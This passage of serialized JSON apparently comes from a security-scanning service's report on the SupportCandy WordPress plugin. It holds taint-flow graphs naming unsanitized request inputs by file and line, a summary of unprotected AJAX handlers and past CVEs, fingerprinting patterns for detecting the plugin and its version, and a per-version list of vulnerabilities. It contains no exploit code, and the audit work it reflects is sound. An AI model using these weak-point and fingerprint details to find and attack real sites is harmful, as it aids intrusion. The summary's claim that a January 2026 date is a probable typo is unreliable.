(includes\\frontend\\class-wpsc-shortcode-three.php:0)",{"nodes":4376,"edges":4380},[4377,4379],{"id":3539,"type":3540,"label":4378,"file":1215,"line":451},"$_REQUEST (x3)",{"id":3543,"type":3544,"label":3567,"file":1215,"line":791,"wp_function":3569},[4381],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4383,"graph":4384,"unsanitizedCount":29,"severity":3550},"add_custom_image_tinymce (includes\\models\\class-wpsc-attachment.php:673)",{"nodes":4385,"edges":4390},[4386,4388],{"id":3539,"type":3540,"label":3564,"file":1268,"line":4387},681,{"id":3543,"type":3544,"label":3567,"file":1268,"line":4389,"wp_function":3569},808,[4391],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4393,"graph":4394,"unsanitizedCount":29,"severity":3550},"edit_custom_image_tinymce (includes\\models\\class-wpsc-attachment.php:830)",{"nodes":4395,"edges":4401},[4396,4399],{"id":3539,"type":3540,"label":4397,"file":1268,"line":4398},"$_POST (x6)",853,{"id":3543,"type":3544,"label":3567,"file":1268,"line":4400,"wp_function":3569},867,[4402],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":4404,"graph":4405,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-attachment> (includes\\models\\class-wpsc-attachment.php:0)",{"nodes":4406,"edges":4410},[4407,4409],{"id":3539,"type":3540,"label":4408,"file":1268,"line":4387},"$_POST (x7)",{"id":3543,"type":3544,"label":3567,"file":1268,"line":4389,"wp_function":3569},[4411],{"from":3539,"to":3543,"sanitized":1401},{"summary":4413,"deductions":4414},"This analysis of SupportCandy v3.4.5 reveals a mixed security posture. While the plugin demonstrates good practices in output escaping (99%) and largely utilizes prepared statements for SQL queries (60%), significant concerns arise from its attack surface and historical vulnerability record.  The presence of 135 unprotected AJAX handlers represents a substantial risk, offering potential entry points for attackers without proper authentication. The taint analysis shows a single flow with unsanitized paths, which, while not critical or high severity in this specific instance, warrants careful attention as it indicates a potential for injection vulnerabilities if not properly addressed in future updates.\n\nThe plugin's history of 16 known CVEs, including 2 critical and 3 high severity vulnerabilities, is a major red flag. The fact that there are currently no unpatched vulnerabilities is positive, but the sheer number and severity of past issues suggest a pattern of security weaknesses that have been exploited. The diversity of past vulnerability types, ranging from SQL Injection and Cross-Site Scripting to Authorization Bypass and Exposure of Sensitive Information, indicates that attackers have found various ways to compromise the plugin in the past. The last reported vulnerability in January 2026 (though this date seems in the future and might be a typo) suggests ongoing security challenges.\n\nIn conclusion, SupportCandy v3.4.5 has strengths in output handling and SQL query preparation. However, the large number of unprotected AJAX endpoints and the extensive history of critical and high-severity vulnerabilities create a significant security risk. Organizations using this plugin should exercise extreme caution, ensure all security updates are applied promptly, and consider the potential impact of past vulnerabilities being re-introduced.",[4415,4417,4419,4421,4423,4425,4427],{"reason":4416,"points":440},"135 unprotected AJAX handlers",{"reason":4418,"points":95},"Flow with unsanitized paths detected",{"reason":4420,"points":341},"2 critical CVEs in history",{"reason":4422,"points":1567},"3 high CVEs in history",{"reason":4424,"points":313},"11 medium CVEs in history",{"reason":4426,"points":53},"4 capability checks found",{"reason":4428,"points":343},"SQL queries with non-prepared statements","2026-03-16T17:43:31.133Z",{"wat":4431,"direct":4487},{"assetPaths":4432,"generatorPatterns":4455,"scriptPaths":4456,"versionParams":4464},[4433,4434,4435,4436,4437,4438,4439,4440,4441,4442,4443,4444,4445,4446,4447,4448,4449,4450,4451,4452,4453,4454],"\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fcss\u002Fjquery-ui.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fjs\u002Fadmin.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fframework\u002Fscripts.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fcss\u002Fadmin-rtl.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fframework\u002Fstyle-rtl.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fcss\u002Fadmin.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fframework\u002Fstyle.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fjs\u002FselectWoo\u002FselectWoo.full.min.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fjs\u002FselectWoo\u002Fi18n\u002F","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fcss\u002Fselect2.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Fgpopover\u002Fjquery.gpopover.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Fgpopover\u002Fjquery.gpopover.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Fjquery-circle-progress\u002Fcircle-progress.min.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Fflatpickr\u002Fflatpickr.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Fflatpickr\u002Fflatpickr.min.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Fflatpickr\u002Fl10n\u002F","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Ffullcalendar\u002Flib\u002Fmain.min.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Ffullcalendar\u002Flib\u002Flocales-all.min.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Flibs\u002Ffullcalendar\u002Flib\u002Fmain.min.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fjs\u002Fcustom.js","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fcss\u002Fcustom.css","\u002Fwp-content\u002Fplugins\u002Fsupportcandy\u002Fasset\u002Fjs\u002Fscripts.js",[],[4457,4458,4459,4460,4461,4462,4463],"asset\u002Fjs\u002Fadmin.js","framework\u002Fscripts.js","asset\u002Flibs\u002Fgpopover\u002Fjquery.gpopover.js","asset\u002Flibs\u002Fjquery-circle-progress\u002Fcircle-progress.min.js","asset\u002Flibs\u002Fflatpickr\u002Fflatpickr.js","asset\u002Flibs\u002Ffullcalendar\u002Flib\u002Fmain.min.js","asset\u002Flibs\u002Ffullcalendar\u002Flib\u002Flocales-all.min.js",[4465,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476,4477,4478,4479,4480,4481,4482,4483,4484,4485,4486],"supportcandy\u002Fasset\u002Fcss\u002Fjquery-ui.css?ver=","supportcandy\u002Fasset\u002Fjs\u002Fadmin.js?ver=","supportcandy\u002Fframework\u002Fscripts.js?ver=","supportcandy\u002Fasset\u002Fcss\u002Fadmin-rtl.css?ver=","supportcandy\u002Fframework\u002Fstyle-rtl.css?ver=","supportcandy\u002Fasset\u002Fcss\u002Fadmin.css?ver=","supportcandy\u002Fframework\u002Fstyle.css?ver=","supportcandy\u002Fasset\u002Fjs\u002FselectWoo\u002FselectWoo.full.min.js?ver=","supportcandy\u002Fasset\u002Fjs\u002FselectWoo\u002Fi18n\u002F","supportcandy\u002Fasset\u002Fcss\u002Fselect2.css?ver=","supportcandy\u002Fasset\u002Flibs\u002Fgpopover\u002Fjquery.gpopover.js?ver=","supportcandy\u002Fasset\u002Flibs\u002Fgpopover\u002Fjquery.gpopover.css?ver=","supportcandy\u002Fasset\u002Flibs\u002Fjquery-circle-progress\u002Fcircle-progress.min.js?ver=","supportcandy\u002Fasset\u002Flibs\u002Fflatpickr\u002Fflatpickr.js?ver=","supportcandy\u002Fasset\u002Flibs\u002Fflatpickr\u002Fflatpickr.min.css?ver=","supportcandy\u002Fasset\u002Flibs\u002Fflatpickr\u002Fl10n\u002F","supportcandy\u002Fasset\u002Flibs\u002Ffullcalendar\u002Flib\u002Fmain.min.js?ver=","supportcandy\u002Fasset\u002Flibs\u002Ffullcalendar\u002Flib\u002Flocales-all.min.js?ver=","supportcandy\u002Fasset\u002Flibs\u002Ffullcalendar\u002Flib\u002Fmain.min.css?ver=","supportcandy\u002Fasset\u002Fjs\u002Fcustom.js?ver=","supportcandy\u002Fasset\u002Fcss\u002Fcustom.css?ver=","supportcandy\u002Fasset\u002Fjs\u002Fscripts.js?ver=",{"cssClasses":4488,"htmlComments":4493,"htmlAttributes":4497,"restEndpoints":4501,"jsGlobals":4504,"shortcodeOutput":4506},[4489,4490,4491,4492],"wpsc-page","wpsc-ticket","supportcandy-wrap","supportcandy-form",[4494,4495,4496],"\u003C!-- SupportCandy -->","\u003C!-- SupportCandy AJAX -->","\u003C!-- SupportCandy form fields -->",[4498,4499,4500],"data-wpsc-ticket-id","data-wpsc-user-id","data-supportcandy-form-id",[4502,4503],"\u002Fwp-json\u002Fsupportcandy\u002Fv1\u002Ftickets","\u002Fwp-json\u002Fsupportcandy\u002Fv1\u002Fusers",[4,4505],"wpsc_globals",[4507,4508,4509],"[supportcandy_form]","[supportcandy_tickets]","[supportcandy_ticket]",{"error":1401,"url":4511,"statusCode":4512,"statusMessage":4513,"message":4513},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fsupportcandy\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":826,"versions":4515},[4516,4521,4527,4537,4547,4556,4567,4578,4589,4599,4611,4623],{"version":6,"download_url":26,"svn_tag_url":4517,"released_at":39,"has_diff":52,"diff_files_changed":4518,"diff_lines":39,"trac_diff_url":4519,"vulnerabilities":4520,"is_current":1401},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.4.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.4.5&new_path=%2Fsupportcandy%2Ftags%2F3.4.6",[],{"version":41,"download_url":4522,"svn_tag_url":4523,"released_at":39,"has_diff":52,"diff_files_changed":4524,"diff_lines":39,"trac_diff_url":4525,"vulnerabilities":4526,"is_current":52},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.4.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.4.4&new_path=%2Fsupportcandy%2Ftags%2F3.4.5",[],{"version":4528,"download_url":4529,"svn_tag_url":4530,"released_at":39,"has_diff":52,"diff_files_changed":4531,"diff_lines":39,"trac_diff_url":4532,"vulnerabilities":4533,"is_current":52},"3.4.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.4.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.4.3&new_path=%2Fsupportcandy%2Ftags%2F3.4.4",[4534,4535,4536],{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":4538,"download_url":4539,"svn_tag_url":4540,"released_at":39,"has_diff":52,"diff_files_changed":4541,"diff_lines":39,"trac_diff_url":4542,"vulnerabilities":4543,"is_current":52},"3.4.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.4.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.4.2&new_path=%2Fsupportcandy%2Ftags%2F3.4.3",[4544,4545,4546],{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":110,"download_url":4548,"svn_tag_url":4549,"released_at":39,"has_diff":52,"diff_files_changed":4550,"diff_lines":39,"trac_diff_url":4551,"vulnerabilities":4552,"is_current":52},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.4.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.4.1&new_path=%2Fsupportcandy%2Ftags%2F3.4.2",[4553,4554,4555],{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":4557,"download_url":4558,"svn_tag_url":4559,"released_at":39,"has_diff":52,"diff_files_changed":4560,"diff_lines":39,"trac_diff_url":4561,"vulnerabilities":4562,"is_current":52},"3.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.4.0&new_path=%2Fsupportcandy%2Ftags%2F3.4.1",[4563,4564,4565,4566],{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":105,"url_slug":106,"title":107,"severity":42,"cvss_score":111,"vuln_type":113,"patched_in_version":110},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":4568,"download_url":4569,"svn_tag_url":4570,"released_at":39,"has_diff":52,"diff_files_changed":4571,"diff_lines":39,"trac_diff_url":4572,"vulnerabilities":4573,"is_current":52},"3.4.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.4.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.3.9&new_path=%2Fsupportcandy%2Ftags%2F3.4.0",[4574,4575,4576,4577],{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":105,"url_slug":106,"title":107,"severity":42,"cvss_score":111,"vuln_type":113,"patched_in_version":110},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":4579,"download_url":4580,"svn_tag_url":4581,"released_at":39,"has_diff":52,"diff_files_changed":4582,"diff_lines":39,"trac_diff_url":4583,"vulnerabilities":4584,"is_current":52},"3.3.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.3.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.3.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.3.8&new_path=%2Fsupportcandy%2Ftags%2F3.3.9",[4585,4586,4587,4588],{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":105,"url_slug":106,"title":107,"severity":42,"cvss_score":111,"vuln_type":113,"patched_in_version":110},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":126,"download_url":4590,"svn_tag_url":4591,"released_at":39,"has_diff":52,"diff_files_changed":4592,"diff_lines":39,"trac_diff_url":4593,"vulnerabilities":4594,"is_current":52},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.3.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.3.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.3.7&new_path=%2Fsupportcandy%2Ftags%2F3.3.8",[4595,4596,4597,4598],{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":105,"url_slug":106,"title":107,"severity":42,"cvss_score":111,"vuln_type":113,"patched_in_version":110},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":4600,"download_url":4601,"svn_tag_url":4602,"released_at":39,"has_diff":52,"diff_files_changed":4603,"diff_lines":39,"trac_diff_url":4604,"vulnerabilities":4605,"is_current":52},"3.3.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.3.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.3.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F3.3.6&new_path=%2Fsupportcandy%2Ftags%2F3.3.7",[4606,4607,4608,4609,4610],{"id":121,"url_slug":122,"title":123,"severity":42,"cvss_score":43,"vuln_type":128,"patched_in_version":126},{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":105,"url_slug":106,"title":107,"severity":42,"cvss_score":111,"vuln_type":113,"patched_in_version":110},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":4612,"download_url":4613,"svn_tag_url":4614,"released_at":39,"has_diff":52,"diff_files_changed":4615,"diff_lines":39,"trac_diff_url":4616,"vulnerabilities":4617,"is_current":52},"3.3.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.3.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F3.3.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsupportcandy%2Ftags%2F2.3.1&new_path=%2Fsupportcandy%2Ftags%2F3.3.6",[4618,4619,4620,4621,4622],{"id":121,"url_slug":122,"title":123,"severity":42,"cvss_score":43,"vuln_type":128,"patched_in_version":126},{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":105,"url_slug":106,"title":107,"severity":42,"cvss_score":111,"vuln_type":113,"patched_in_version":110},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41},{"version":4624,"download_url":4625,"svn_tag_url":4626,"released_at":39,"has_diff":52,"diff_files_changed":4627,"diff_lines":39,"trac_diff_url":39,"vulnerabilities":4628,"is_current":52},"2.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.2.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsupportcandy\u002Ftags\u002F2.3.1\u002F",[],[4629,4630,4631,4632,4633,4634,4635,4636,4637,4638,4639],{"id":206,"url_slug":207,"title":208,"severity":42,"cvss_score":43,"vuln_type":212,"patched_in_version":211},{"id":135,"url_slug":136,"title":137,"severity":42,"cvss_score":111,"vuln_type":142,"patched_in_version":140},{"id":121,"url_slug":122,"title":123,"severity":42,"cvss_score":43,"vuln_type":128,"patched_in_version":126},{"id":191,"url_slug":192,"title":193,"severity":197,"cvss_score":198,"vuln_type":45,"patched_in_version":196},{"id":149,"url_slug":150,"title":151,"severity":42,"cvss_score":155,"vuln_type":157,"patched_in_version":154},{"id":165,"url_slug":166,"title":167,"severity":171,"cvss_score":172,"vuln_type":45,"patched_in_version":170},{"id":84,"url_slug":85,"title":86,"severity":42,"cvss_score":88,"vuln_type":90,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":181,"url_slug":182,"title":183,"severity":171,"cvss_score":185,"vuln_type":45,"patched_in_version":170},{"id":105,"url_slug":106,"title":107,"severity":42,"cvss_score":111,"vuln_type":113,"patched_in_version":110},{"id":63,"url_slug":64,"title":65,"severity":42,"cvss_score":67,"vuln_type":69,"patched_in_version":41}]